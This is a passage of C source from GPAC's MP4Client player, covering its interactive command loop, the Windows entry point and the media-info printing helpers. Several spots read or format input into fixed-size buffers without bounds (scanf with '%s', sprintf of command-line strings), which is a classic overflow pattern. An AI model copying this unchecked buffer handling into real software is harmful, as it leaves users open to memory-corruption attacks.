Proxy %s enabled\n", str); } if (rti_file) { str = gf_cfg_get_key(cfg_file, "General", "RTIRefreshPeriod"); if (str) { rti_update_time_ms = atoi(str); } else { gf_cfg_set_key(cfg_file, "General", "RTIRefreshPeriod", "200"); } UpdateRTInfo("At GPAC load time\n"); } Run = 1; if (dump_mode) { if (!nb_times) { times[0] = 0; nb_times++; } ret_val = dump_file(url_arg, out_arg, dump_mode, fps, forced_width, forced_height, scale, times, nb_times); Run = 0; } else if (views) { } /*connect if requested*/ else if (!gui_mode && url_arg) { char *ext; if (strlen(url_arg) >= sizeof(the_url)) { fprintf(stderr, "Input url %s is too long, truncating to %d chars.\n", url_arg, (int)(sizeof(the_url) - 1)); strncpy(the_url, url_arg, sizeof(the_url)-1); the_url[sizeof(the_url) - 1] = 0; } else { strcpy(the_url, url_arg); } ext = strrchr(the_url, '.'); if (ext && (!stricmp(ext, ".m3u") || !stricmp(ext, ".pls"))) { GF_Err e = GF_OK; fprintf(stderr, "Opening Playlist %s\n", the_url); strcpy(pl_path, the_url); /*this is not clean, we need to have a plugin handle playlist for ourselves*/ if (!strncmp("http:", the_url, 5)) { GF_DownloadSession *sess = gf_dm_sess_new(term->downloader, the_url, GF_NETIO_SESSION_NOT_THREADED, NULL, NULL, &e); if (sess) { e = gf_dm_sess_process(sess); if (!e) { strncpy(the_url, gf_dm_sess_get_cache_name(sess), sizeof(the_url) - 1); the_url[sizeof(the_url) - 1] = 0; } gf_dm_sess_del(sess); } } playlist = e ? NULL : gf_fopen(the_url, "rt"); readonly_playlist = 1; if (playlist) { request_next_playlist_item = GF_TRUE; } else { if (e) fprintf(stderr, "Failed to open playlist %s: %s\n", the_url, gf_error_to_string(e) ); fprintf(stderr, "Hit 'h' for help\n\n"); } } else { fprintf(stderr, "Opening URL %s\n", the_url); if (pause_at_first) fprintf(stderr, "[Status: Paused]\n"); gf_term_connect_from_time(term, the_url, (u64) (play_from*1000), pause_at_first); } } else { fprintf(stderr, "Hit 'h' for help\n\n"); str = gf_cfg_get_key(cfg_file, "General", "StartupFile"); if (str) { strncpy(the_url, "MP4Client "GPAC_FULL_VERSION , sizeof(the_url)-1); the_url[sizeof(the_url) - 1] = 0; gf_term_connect(term, str); startup_file = 1; is_connected = 1; } } if (gui_mode==2) gui_mode=0; if (start_fs) gf_term_set_option(term, GF_OPT_FULLSCREEN, 1); if (views) { char szTemp[4046]; sprintf(szTemp, "views://%s", views); gf_term_connect(term, szTemp); } if (mosaic) { char szTemp[4046]; sprintf(szTemp, "mosaic://%s", mosaic); gf_term_connect(term, szTemp); } if (bench_mode) { rti_update_time_ms = 500; bench_mode_start = gf_sys_clock(); } while (Run) { /*we don't want getchar to block*/ if ((gui_mode==1) || !gf_prompt_has_input()) { if (reload) { reload = 0; gf_term_disconnect(term); gf_term_connect(term, startup_file ? gf_cfg_get_key(cfg_file, "General", "StartupFile") : the_url); } if (restart && gf_term_get_option(term, GF_OPT_IS_OVER)) { restart = 0; gf_term_play_from_time(term, 0, 0); } if (request_next_playlist_item) { c = '\n'; request_next_playlist_item = 0; goto force_input; } if (has_command && is_connected) { has_command = GF_FALSE; for (i=0; i<(u32)argc; i++) { if (!strcmp(argv[i], "-com")) { gf_term_scene_update(term, NULL, argv[i+1]); i++; } } } if (initial_service_id && is_connected) { GF_ObjectManager *root_od = gf_term_get_root_object(term); if (root_od) { gf_term_select_service(term, root_od, initial_service_id); initial_service_id = 0; } } if (!use_rtix || display_rti) UpdateRTInfo(NULL); if (term_step) { gf_term_process_step(term); } else { gf_sleep(rti_update_time_ms); } if (auto_exit && eos_seen && gf_term_get_option(term, GF_OPT_IS_OVER)) { Run = GF_FALSE; } /*sim time*/ if (simulation_time_in_ms && ( (gf_term_get_elapsed_time_in_ms(term)>simulation_time_in_ms) || (!url_arg && gf_sys_clock()>simulation_time_in_ms)) ) { Run = GF_FALSE; } continue; } c = gf_prompt_get_char(); force_input: switch (c) { case 'q': { GF_Event evt; memset(&evt, 0, sizeof(GF_Event)); evt.type = GF_EVENT_QUIT; gf_term_send_event(term, &evt); } // Run = 0; break; case 'X': exit(0); break; case 'Q': break; case 'o': startup_file = 0; gf_term_disconnect(term); fprintf(stderr, "Enter the absolute URL\n"); if (1 > scanf("%s", the_url)) { fprintf(stderr, "Cannot read absolute URL, aborting\n"); break; } if (rti_file) init_rti_logs(rti_file, the_url, use_rtix); gf_term_connect(term, the_url); break; case 'O': gf_term_disconnect(term); fprintf(stderr, "Enter the absolute URL to the playlist\n"); if (1 > scanf("%s", the_url)) { fprintf(stderr, "Cannot read the absolute URL, aborting.\n"); break; } playlist = gf_fopen(the_url, "rt"); if (playlist) { if (1 > fscanf(playlist, "%s", the_url)) { fprintf(stderr, "Cannot read any URL from playlist, aborting.\n"); gf_fclose( playlist); break; } fprintf(stderr, "Opening URL %s\n", the_url); gf_term_connect(term, the_url); } break; case '\n': case 'N': if (playlist) { int res; gf_term_disconnect(term); res = fscanf(playlist, "%s", the_url); if ((res == EOF) && loop_at_end) { fseek(playlist, 0, SEEK_SET); res = fscanf(playlist, "%s", the_url); } if (res == EOF) { fprintf(stderr, "No more items - exiting\n"); Run = 0; } else if (the_url[0] == '#') { request_next_playlist_item = GF_TRUE; } else { fprintf(stderr, "Opening URL %s\n", the_url); gf_term_connect_with_path(term, the_url, pl_path); } } break; case 'P': if (playlist) { u32 count; gf_term_disconnect(term); if (1 > scanf("%u", &count)) { fprintf(stderr, "Cannot read number, aborting.\n"); break; } while (count) { if (fscanf(playlist, "%s", the_url)) { fprintf(stderr, "Failed to read line, aborting\n"); break; } count--; } fprintf(stderr, "Opening URL %s\n", the_url); gf_term_connect(term, the_url); } break; case 'r': if (is_connected) reload = 1; break; case 'D': if (is_connected) gf_term_disconnect(term); break; case 'p': if (is_connected) { Bool is_pause = gf_term_get_option(term, GF_OPT_PLAY_STATE); fprintf(stderr, "[Status: %s]\n", is_pause ? "Playing" : "Paused"); gf_term_set_option(term, GF_OPT_PLAY_STATE, is_pause ? GF_STATE_PLAYING : GF_STATE_PAUSED); } break; case 's': if (is_connected) { gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_STEP_PAUSE); fprintf(stderr, "Step time: "); PrintTime(gf_term_get_time_in_ms(term)); fprintf(stderr, "\n"); } break; case 'z': case 'T': if (!CanSeek || (Duration<=2000)) { fprintf(stderr, "scene not seekable\n"); } else { Double res; s32 seekTo; fprintf(stderr, "Duration: "); PrintTime(Duration); res = gf_term_get_time_in_ms(term); if (c=='z') { res *= 100; res /= (s64)Duration; fprintf(stderr, " (current %.2f %%)\nEnter Seek percentage:\n", res); if (scanf("%d", &seekTo) == 1) { if (seekTo > 100) seekTo = 100; res = (Double)(s64)Duration; res /= 100; res *= seekTo; gf_term_play_from_time(term, (u64) (s64) res, 0); } } else { u32 r, h, m, s; fprintf(stderr, " - Current Time: "); PrintTime((u64) res); fprintf(stderr, "\nEnter seek time (Format: s, m:s or h:m:s):\n"); h = m = s = 0; r =scanf("%d:%d:%d", &h, &m, &s); if (r==2) { s = m; m = h; h = 0; } else if (r==1) { s = h; m = h = 0; } if (r && (r<=3)) { u64 time = h*3600 + m*60 + s; gf_term_play_from_time(term, time*1000, 0); } } } break; case 't': { if (is_connected) { fprintf(stderr, "Current Time: "); PrintTime(gf_term_get_time_in_ms(term)); fprintf(stderr, " - Duration: "); PrintTime(Duration); fprintf(stderr, "\n"); } } break; case 'w': if (is_connected) PrintWorldInfo(term); break; case 'v': if (is_connected) PrintODList(term, NULL, 0, 0, "Root"); break; case 'i': if (is_connected) { u32 ID; fprintf(stderr, "Enter OD ID (0 for main OD): "); fflush(stderr); if (scanf("%ud", &ID) == 1) { ViewOD(term, ID, (u32)-1, NULL); } else { char str_url[GF_MAX_PATH]; if (scanf("%s", str_url) == 1) ViewOD(term, 0, (u32)-1, str_url); } } break; case 'j': if (is_connected) { u32 num; do { fprintf(stderr, "Enter OD number (0 for main OD): "); fflush(stderr); } while( 1 > scanf("%ud", &num)); ViewOD(term, (u32)-1, num, NULL); } break; case 'b': if (is_connected) ViewODs(term, 1); break; case 'm': if (is_connected) ViewODs(term, 0); break; case 'l': list_modules(user.modules); break; case 'n': if (is_connected) set_navigation(); break; case 'x': if (is_connected) gf_term_set_option(term, GF_OPT_NAVIGATION_TYPE, 0); break; case 'd': if (is_connected) { GF_ObjectManager *odm = NULL; char radname[GF_MAX_PATH], *sExt; GF_Err e; u32 i, count, odid; Bool xml_dump, std_out; radname[0] = 0; do { fprintf(stderr, "Enter Inline OD ID if any or 0 : "); fflush(stderr); } while( 1 > scanf("%ud", &odid)); if (odid) { GF_ObjectManager *root_odm = gf_term_get_root_object(term); if (!root_odm) break; count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { GF_MediaInfo info; odm = gf_term_get_object(term, root_odm, i); if (gf_term_get_object_info(term, odm, &info) == GF_OK) { if (info.od->objectDescriptorID==odid) break; } odm = NULL; } } do { fprintf(stderr, "Enter file radical name (+\'.x\' for XML dumping) - \"std\" for stderr: "); fflush(stderr); } while( 1 > scanf("%s", radname)); sExt = strrchr(radname, '.'); xml_dump = 0; if (sExt) { if (!stricmp(sExt, ".x")) xml_dump = 1; sExt[0] = 0; } std_out = strnicmp(radname, "std", 3) ? 0 : 1; e = gf_term_dump_scene(term, std_out ? NULL : radname, NULL, xml_dump, 0, odm); fprintf(stderr, "Dump done (%s)\n", gf_error_to_string(e)); } break; case 'c': PrintGPACConfig(); break; case '3': { Bool use_3d = !gf_term_get_option(term, GF_OPT_USE_OPENGL); if (gf_term_set_option(term, GF_OPT_USE_OPENGL, use_3d)==GF_OK) { fprintf(stderr, "Using %s for 2D drawing\n", use_3d ? "OpenGL" : "2D rasterizer"); } } break; case 'k': { Bool opt = gf_term_get_option(term, GF_OPT_STRESS_MODE); opt = !opt; fprintf(stderr, "Turning stress mode %s\n", opt ? "on" : "off"); gf_term_set_option(term, GF_OPT_STRESS_MODE, opt); } break; case '4': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_4_3); break; case '5': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_16_9); break; case '6': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN); break; case '7': gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_KEEP); break; case 'C': switch (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)) { case GF_MEDIA_CACHE_DISABLED: gf_term_set_option(term, GF_OPT_MEDIA_CACHE, GF_MEDIA_CACHE_ENABLED); break; case GF_MEDIA_CACHE_ENABLED: gf_term_set_option(term, GF_OPT_MEDIA_CACHE, GF_MEDIA_CACHE_DISABLED); break; case GF_MEDIA_CACHE_RUNNING: fprintf(stderr, "Streaming Cache is running - please stop it first\n"); continue; } switch (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)) { case GF_MEDIA_CACHE_ENABLED: fprintf(stderr, "Streaming Cache Enabled\n"); break; case GF_MEDIA_CACHE_DISABLED: fprintf(stderr, "Streaming Cache Disabled\n"); break; case GF_MEDIA_CACHE_RUNNING: fprintf(stderr, "Streaming Cache Running\n"); break; } break; case 'S': case 'A': if (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)==GF_MEDIA_CACHE_RUNNING) { gf_term_set_option(term, GF_OPT_MEDIA_CACHE, (c=='S') ? GF_MEDIA_CACHE_DISABLED : GF_MEDIA_CACHE_DISCARD); fprintf(stderr, "Streaming Cache stopped\n"); } else { fprintf(stderr, "Streaming Cache not running\n"); } break; case 'R': display_rti = !display_rti; ResetCaption(); break; case 'F': if (display_rti) display_rti = 0; else display_rti = 2; ResetCaption(); break; case 'u': { GF_Err e; char szCom[8192]; fprintf(stderr, "Enter command to send:\n"); fflush(stdin); szCom[0] = 0; if (1 > scanf("%[^\t\n]", szCom)) { fprintf(stderr, "Cannot read command to send, aborting.\n"); break; } e = gf_term_scene_update(term, NULL, szCom); if (e) fprintf(stderr, "Processing command failed: %s\n", gf_error_to_string(e)); } break; case 'e': { GF_Err e; char jsCode[8192]; fprintf(stderr, "Enter JavaScript code to evaluate:\n"); fflush(stdin); jsCode[0] = 0; if (1 > scanf("%[^\t\n]", jsCode)) { fprintf(stderr, "Cannot read code to evaluate, aborting.\n"); break; } e = gf_term_scene_update(term, "application/ecmascript", jsCode); if (e) fprintf(stderr, "Processing JS code failed: %s\n", gf_error_to_string(e)); } break; case 'L': { char szLog[1024], *cur_logs; cur_logs = gf_log_get_tools_levels(); fprintf(stderr, "Enter new log level (current tools %s):\n", cur_logs); gf_free(cur_logs); if (scanf("%s", szLog) < 1) { fprintf(stderr, "Cannot read new log level, aborting.\n"); break; } gf_log_modify_tools_levels(szLog); } break; case 'g': { GF_SystemRTInfo rti; gf_sys_get_rti(rti_update_time_ms, &rti, 0); fprintf(stderr, "GPAC allocated memory "LLD"\n", rti.gpac_memory); } break; case 'M': { u32 size; do { fprintf(stderr, "Enter new video cache memory in kBytes (current %ud):\n", gf_term_get_option(term, GF_OPT_VIDEO_CACHE_SIZE)); } while (1 > scanf("%ud", &size)); gf_term_set_option(term, GF_OPT_VIDEO_CACHE_SIZE, size); } break; case 'H': { u32 http_bitrate = gf_term_get_option(term, GF_OPT_HTTP_MAX_RATE); do { fprintf(stderr, "Enter new http bitrate in bps (0 for none) - current limit: %d\n", http_bitrate); } while (1 > scanf("%ud", &http_bitrate)); gf_term_set_option(term, GF_OPT_HTTP_MAX_RATE, http_bitrate); } break; case 'E': gf_term_set_option(term, GF_OPT_RELOAD_CONFIG, 1); break; case 'B': switch_bench(!bench_mode); break; case 'Y': { char szOpt[8192]; fprintf(stderr, "Enter option to set (Section:Name=Value):\n"); fflush(stdin); szOpt[0] = 0; if (1 > scanf("%[^\t\n]", szOpt)) { fprintf(stderr, "Cannot read option\n"); break; } set_cfg_option(szOpt); } break; /*extract to PNG*/ case 'Z': { char szFileName[100]; u32 nb_pass, nb_views, offscreen_view = 0; GF_VideoSurface fb; GF_Err e; nb_pass = 1; nb_views = gf_term_get_option(term, GF_OPT_NUM_STEREO_VIEWS); if (nb_views>1) { fprintf(stderr, "Auto-stereo mode detected - type number of view to dump (0 is main output, 1 to %d offscreen view, %d for all offscreen, %d for all offscreen and main)\n", nb_views, nb_views+1, nb_views+2); if (scanf("%d", &offscreen_view) != 1) { offscreen_view = 0; } if (offscreen_view==nb_views+1) { offscreen_view = 1; nb_pass = nb_views; } else if (offscreen_view==nb_views+2) { offscreen_view = 0; nb_pass = nb_views+1; } } while (nb_pass) { nb_pass--; if (offscreen_view) { sprintf(szFileName, "view%d_dump.png", offscreen_view); e = gf_term_get_offscreen_buffer(term, &fb, offscreen_view-1, 0); } else { sprintf(szFileName, "gpac_video_dump_"LLU".png", gf_net_get_utc() ); e = gf_term_get_screen_buffer(term, &fb); } offscreen_view++; if (e) { fprintf(stderr, "Error dumping screen buffer %s\n", gf_error_to_string(e) ); nb_pass = 0; } else { #ifndef GPAC_DISABLE_AV_PARSERS u32 dst_size = fb.width*fb.height*4; char *dst = (char*)gf_malloc(sizeof(char)*dst_size); e = gf_img_png_enc(fb.video_buffer, fb.width, fb.height, fb.pitch_y, fb.pixel_format, dst, &dst_size); if (e) { fprintf(stderr, "Error encoding PNG %s\n", gf_error_to_string(e) ); nb_pass = 0; } else { FILE *png = gf_fopen(szFileName, "wb"); if (!png) { fprintf(stderr, "Error writing file %s\n", szFileName); nb_pass = 0; } else { gf_fwrite(dst, dst_size, 1, png); gf_fclose(png); fprintf(stderr, "Dump to %s\n", szFileName); } } if (dst) gf_free(dst); gf_term_release_screen_buffer(term, &fb); #endif //GPAC_DISABLE_AV_PARSERS } } fprintf(stderr, "Done: %s\n", szFileName); } break; case 'G': { GF_ObjectManager *root_od, *odm; u32 index; char szOpt[8192]; fprintf(stderr, "Enter 0-based index of object to select or service ID:\n"); fflush(stdin); szOpt[0] = 0; if (1 > scanf("%[^\t\n]", szOpt)) { fprintf(stderr, "Cannot read OD ID\n"); break; } index = atoi(szOpt); odm = NULL; root_od = gf_term_get_root_object(term); if (root_od) { if ( gf_term_find_service(term, root_od, index)) { gf_term_select_service(term, root_od, index); } else { fprintf(stderr, "Cannot find service %d - trying with object index\n", index); odm = gf_term_get_object(term, root_od, index); if (odm) { gf_term_select_object(term, odm); } else { fprintf(stderr, "Cannot find object at index %d\n", index); } } } } break; case 'h': PrintHelp(); break; default: break; } } if (bench_mode) { PrintAVInfo(GF_TRUE); } /*FIXME: we have an issue in cleaning up after playing in bench mode and run-for 0 (buildbot tests). We for now disable error checks after run-for is done*/ if (simulation_time_in_ms) { gf_log_set_strict_error(0); } i = gf_sys_clock(); gf_term_disconnect(term); if (rti_file) UpdateRTInfo("Disconnected\n"); fprintf(stderr, "Deleting terminal... "); if (playlist) gf_fclose(playlist); #if defined(__DARWIN__) || defined(__APPLE__) carbon_uninit(); #endif gf_term_del(term); fprintf(stderr, "done (in %d ms) - ran for %d ms\n", gf_sys_clock() - i, gf_sys_clock()); fprintf(stderr, "GPAC cleanup ...\n"); gf_modules_del(user.modules); if (no_cfg_save) gf_cfg_discard_changes(cfg_file); gf_cfg_del(cfg_file); gf_sys_close(); if (rti_logs) gf_fclose(rti_logs); if (logfile) gf_fclose(logfile); if (gui_mode) { hide_shell(2); } #ifdef GPAC_MEMORY_TRACKING if (mem_track && (gf_memory_size() || gf_file_handles_count() )) { gf_log_set_tool_level(GF_LOG_MEMORY, GF_LOG_INFO); gf_memory_print(); return 2; } #endif return ret_val; } #if defined(WIN32) && !defined(NO_WMAIN) int wmain(int argc, wchar_t** wargv) { int i; int res; size_t len; size_t res_len; char **argv; argv = (char **)malloc(argc*sizeof(wchar_t *)); for (i = 0; i < argc; i++) { wchar_t *src_str = wargv[i]; len = UTF8_MAX_BYTES_PER_CHAR * gf_utf8_wcslen(wargv[i]); argv[i] = (char *)malloc(len + 1); res_len = gf_utf8_wcstombs(argv[i], len, &src_str); argv[i][res_len] = 0; if (res_len > len) { fprintf(stderr, "Length allocated for conversion of wide char to UTF-8 not sufficient\n"); return -1; } } res = mp4client_main(argc, argv); for (i = 0; i < argc; i++) { free(argv[i]); } free(argv); return res; } #else int main(int argc, char** argv) { return mp4client_main(argc, argv); } #endif //win32 static GF_ObjectManager *video_odm = NULL; static GF_ObjectManager *audio_odm = NULL; static GF_ObjectManager *scene_odm = NULL; static u32 last_odm_count = 0; void PrintAVInfo(Bool final) { GF_MediaInfo a_odi, v_odi, s_odi; Double avg_dec_time=0; u32 tot_time=0; Bool print_codecs = final; if (scene_odm) { GF_ObjectManager *root_odm = gf_term_get_root_object(term); u32 count = gf_term_get_object_count(term, root_odm); if (last_odm_count != count) { last_odm_count = count; scene_odm = NULL; } } if (!video_odm && !audio_odm && !scene_odm) { u32 count, i; GF_ObjectManager *root_odm = root_odm = gf_term_get_root_object(term); if (!root_odm) return; if (gf_term_get_object_info(term, root_odm, &v_odi)==GF_OK) { if (!scene_odm && (v_odi.generated_scene== 0)) { scene_odm = root_odm; } } count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { GF_ObjectManager *odm = gf_term_get_object(term, root_odm, i); if (!odm) break; if (gf_term_get_object_info(term, odm, &v_odi) == GF_OK) { if (!video_odm && (v_odi.od_type == GF_STREAM_VISUAL) && (v_odi.raw_media || (v_odi.cb_max_count>1) || v_odi.direct_video_memory || (bench_mode == 3) )) { video_odm = odm; } else if (!audio_odm && (v_odi.od_type == GF_STREAM_AUDIO)) { audio_odm = odm; } else if (!scene_odm && (v_odi.od_type == GF_STREAM_SCENE)) { scene_odm = odm; } } } } if (0 && bench_buffer) { fprintf(stderr, "Buffering %d %% ", bench_buffer-1); return; } if (video_odm) { if (gf_term_get_object_info(term, video_odm, &v_odi)!= GF_OK) { video_odm = NULL; return; } } else { memset(&v_odi, 0, sizeof(v_odi)); } if (print_codecs && audio_odm) { gf_term_get_object_info(term, audio_odm, &a_odi); } else { memset(&a_odi, 0, sizeof(a_odi)); } if ((print_codecs || !video_odm) && scene_odm) { gf_term_get_object_info(term, scene_odm, &s_odi); } else { memset(&s_odi, 0, sizeof(s_odi)); } if (final) { tot_time = gf_sys_clock() - bench_mode_start; fprintf(stderr, " \r"); fprintf(stderr, "************** Bench Mode Done in %d ms ********************\n", tot_time); if (bench_mode==3) fprintf(stderr, "** Systems layer only (no decoding) **\n"); if (!video_odm) { u32 nb_frames_drawn; Double FPS = gf_term_get_simulation_frame_rate(term, &nb_frames_drawn); fprintf(stderr, "Drawn %d frames FPS %.2f (simulation FPS %.2f) - duration %d ms\n", nb_frames_drawn, ((Float)nb_frames_drawn*1000)/tot_time,(Float) FPS, gf_term_get_time_in_ms(term) ); } } if (print_codecs) { if (video_odm) { fprintf(stderr, "%s %dx%d sar=%d:%d duration %.2fs\n", v_odi.codec_name, v_odi.width, v_odi.height, v_odi.par ? (v_odi.par>>16)&0xFF : 1, v_odi.par ? (v_odi.par)&0xFF : 1, v_odi.duration); if (final) { u32 dec_run_time = v_odi.last_frame_time - v_odi.first_frame_time; if (!dec_run_time) dec_run_time = 1; if (v_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*v_odi.current_time / v_odi.duration ) ); fprintf(stderr, "%d frames FPS %.2f (max %d us/f) rate avg %d max %d", v_odi.nb_dec_frames, ((Float)v_odi.nb_dec_frames*1000) / dec_run_time, v_odi.max_dec_time, (u32) v_odi.avg_bitrate/1000, (u32) v_odi.max_bitrate/1000); if (v_odi.nb_dropped) { fprintf(stderr, " (Error during bench: %d frames drop)", v_odi.nb_dropped); } fprintf(stderr, "\n"); } } if (audio_odm) { fprintf(stderr, "%s SR %d num channels %d bpp %d duration %.2fs\n", a_odi.codec_name, a_odi.sample_rate, a_odi.num_channels, a_odi.bits_per_sample, a_odi.duration); if (final) { u32 dec_run_time = a_odi.last_frame_time - a_odi.first_frame_time; if (!dec_run_time) dec_run_time = 1; if (a_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*a_odi.current_time / a_odi.duration ) ); fprintf(stderr, "%d frames (ms/f %.2f avg %.2f max) rate avg %d max %d", a_odi.nb_dec_frames, ((Float)dec_run_time)/a_odi.nb_dec_frames, a_odi.max_dec_time/1000.0, (u32) a_odi.avg_bitrate/1000, (u32) a_odi.max_bitrate/1000); if (a_odi.nb_dropped) { fprintf(stderr, " (Error during bench: %d frames drop)", a_odi.nb_dropped); } fprintf(stderr, "\n"); } } if (scene_odm) { u32 w, h; gf_term_get_visual_output_size(term, &w, &h); fprintf(stderr, "%s scene size %dx%d rastered to %dx%d duration %.2fs\n", s_odi.codec_name ? s_odi.codec_name : "", s_odi.width, s_odi.height, w, h, s_odi.duration); if (final) { if (s_odi.nb_dec_frames>2 && s_odi.total_dec_time) { u32 dec_run_time = s_odi.last_frame_time - s_odi.first_frame_time; if (!dec_run_time) dec_run_time = 1; fprintf(stderr, "%d frames FPS %.2f (max %d us/f) rate avg %d max %d", s_odi.nb_dec_frames, ((Float)s_odi.nb_dec_frames*1000) / dec_run_time, s_odi.max_dec_time, (u32) s_odi.avg_bitrate/1000, (u32) s_odi.max_bitrate/1000); fprintf(stderr, "\n"); } else { u32 nb_frames_drawn; Double FPS; gf_term_get_simulation_frame_rate(term, &nb_frames_drawn); tot_time = gf_sys_clock() - bench_mode_start; FPS = gf_term_get_framerate(term, 0); fprintf(stderr, "%d frames FPS %.2f (abs %.2f)\n", nb_frames_drawn, (1000.0*nb_frames_drawn / tot_time), FPS); } } } if (final) { fprintf(stderr, "**********************************************************\n\n"); return; } } if (video_odm) { tot_time = v_odi.last_frame_time - v_odi.first_frame_time; if (!tot_time) tot_time=1; if (v_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*v_odi.current_time / v_odi.duration ) ); fprintf(stderr, "%d f FPS %.2f (%.2f ms max) rate %d ", v_odi.nb_dec_frames, ((Float)v_odi.nb_dec_frames*1000) / tot_time, v_odi.max_dec_time/1000.0, (u32) v_odi.instant_bitrate/1000); } else if (scene_odm) { if (s_odi.nb_dec_frames>2 && s_odi.total_dec_time) { avg_dec_time = (Float) 1000000 * s_odi.nb_dec_frames; avg_dec_time /= s_odi.total_dec_time; if (s_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*s_odi.current_time / s_odi.duration ) ); fprintf(stderr, "%d f %.2f (%d us max) - rate %d ", s_odi.nb_dec_frames, avg_dec_time, s_odi.max_dec_time, (u32) s_odi.instant_bitrate/1000); } else { u32 nb_frames_drawn; Double FPS; gf_term_get_simulation_frame_rate(term, &nb_frames_drawn); tot_time = gf_sys_clock() - bench_mode_start; FPS = gf_term_get_framerate(term, 1); fprintf(stderr, "%d f FPS %.2f (abs %.2f) ", nb_frames_drawn, (1000.0*nb_frames_drawn / tot_time), FPS); } } else if (audio_odm) { if (!print_codecs) { gf_term_get_object_info(term, audio_odm, &a_odi); } tot_time = a_odi.last_frame_time - a_odi.first_frame_time; if (!tot_time) tot_time=1; if (a_odi.duration) fprintf(stderr, "%d%% ", (u32) (100*a_odi.current_time / a_odi.duration ) ); fprintf(stderr, "%d frames (ms/f %.2f avg %.2f max)", a_odi.nb_dec_frames, ((Float)tot_time)/a_odi.nb_dec_frames, a_odi.max_dec_time/1000.0); } } void PrintWorldInfo(GF_Terminal *term) { u32 i; const char *title; GF_List *descs; descs = gf_list_new(); title = gf_term_get_world_info(term, NULL, descs); if (!title && !gf_list_count(descs)) { fprintf(stderr, "No World Info available\n"); } else { fprintf(stderr, "\t%s\n", title ? title : "No title available"); for (i=0; i<gf_list_count(descs); i++) { char *str = gf_list_get(descs, i); fprintf(stderr, "%s\n", str); } } gf_list_del(descs); } void PrintODList(GF_Terminal *term, GF_ObjectManager *root_odm, u32 num, u32 indent, char *root_name) { GF_MediaInfo odi; u32 i, count; char szIndent[50]; GF_ObjectManager *odm; if (!root_odm) { fprintf(stderr, "Currently loaded objects:\n"); root_odm = gf_term_get_root_object(term); } if (!root_odm) return; count = gf_term_get_current_service_id(term); if (count) fprintf(stderr, "Current service ID %d\n", count); if (gf_term_get_object_info(term, root_odm, &odi) != GF_OK) return; if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } for (i=0; i<indent; i++) szIndent[i]=' '; szIndent[indent]=0; fprintf(stderr, "%s", szIndent); fprintf(stderr, "#%d %s - ", num, root_name); if (odi.od->ServiceID) fprintf(stderr, "Service ID %d ", odi.od->ServiceID); if (odi.media_url) { fprintf(stderr, "%s\n", odi.media_url); } else { fprintf(stderr, "OD ID %d\n", odi.od->objectDescriptorID); } szIndent[indent]=' '; szIndent[indent+1]=0; indent++; count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { odm = gf_term_get_object(term, root_odm, i); if (!odm) break; num++; if (gf_term_get_object_info(term, odm, &odi) == GF_OK) { switch (gf_term_object_subscene_type(term, odm)) { case 1: PrintODList(term, odm, num, indent, "Root"); break; case 2: PrintODList(term, odm, num, indent, "Inline Scene"); break; case 3: PrintODList(term, odm, num, indent, "EXTERNPROTO Library"); break; default: fprintf(stderr, "%s", szIndent); fprintf(stderr, "#%d - ", num); if (odi.media_url) { fprintf(stderr, "%s", odi.media_url); } else if (odi.od) { if (odi.od->URLString) { fprintf(stderr, "%s", odi.od->URLString); } else { fprintf(stderr, "ID %d", odi.od->objectDescriptorID); } } else if (odi.service_url) { fprintf(stderr, "%s", odi.service_url); } else { fprintf(stderr, "unknown"); } fprintf(stderr, " - %s", (odi.od_type==GF_STREAM_VISUAL) ? "Video" : (odi.od_type==GF_STREAM_AUDIO) ? "Audio" : "Systems"); if (odi.od && odi.od->ServiceID) fprintf(stderr, " - Service ID %d", odi.od->ServiceID); fprintf(stderr, "\n"); break; } } } } void ViewOD(GF_Terminal *term, u32 OD_ID, u32 number, const char *szURL) { GF_MediaInfo odi; u32 i, j, count, d_enum,id; GF_Err e; NetStatCommand com; GF_ObjectManager *odm, *root_odm = gf_term_get_root_object(term); if (!root_odm) return; odm = NULL; if (!szURL && ((!OD_ID && (number == (u32)-1)) || ((OD_ID == (u32)(-1)) && !number))) { odm = root_odm; if ((gf_term_get_object_info(term, odm, &odi) != GF_OK)) odm=NULL; } else { count = gf_term_get_object_count(term, root_odm); for (i=0; i<count; i++) { odm = gf_term_get_object(term, root_odm, i); if (!odm) break; if (gf_term_get_object_info(term, odm, &odi) == GF_OK) { if (szURL && strstr(odi.service_url, szURL)) break; if ((number == (u32)(-1)) && odi.od && (odi.od->objectDescriptorID == OD_ID)) break; else if (i == (u32)(number-1)) break; } odm = NULL; } } if (!odm) { if (szURL) fprintf(stderr, "cannot find OD for URL %s\n", szURL); if (number == (u32)-1) fprintf(stderr, "cannot find OD with ID %d\n", OD_ID); else fprintf(stderr, "cannot find OD with number %d\n", number); return; } if (!odi.od) { if (number == (u32)-1) fprintf(stderr, "Object %d not attached yet\n", OD_ID); else fprintf(stderr, "Object #%d not attached yet\n", number); return; } if (!odi.od) { fprintf(stderr, "Service not attached\n"); return; } if (odi.od->tag==GF_ODF_IOD_TAG) { fprintf(stderr, "InitialObjectDescriptor %d\n", odi.od->objectDescriptorID); fprintf(stderr, "Profiles and Levels: Scene %x - Graphics %x - Visual %x - Audio %x - OD %x\n", odi.scene_pl, odi.graphics_pl, odi.visual_pl, odi.audio_pl, odi.OD_pl); fprintf(stderr, "Inline Profile Flag %d\n", odi.inline_pl); } else { fprintf(stderr, "ObjectDescriptor %d\n", odi.od->objectDescriptorID); } fprintf(stderr, "Object Duration: "); if (odi.duration) { PrintTime((u32) (odi.duration*1000)); } else { fprintf(stderr, "unknown"); } fprintf(stderr, "\n"); fprintf(stderr, "Service Handler: %s\n", odi.service_handler); fprintf(stderr, "Service URL: %s\n", 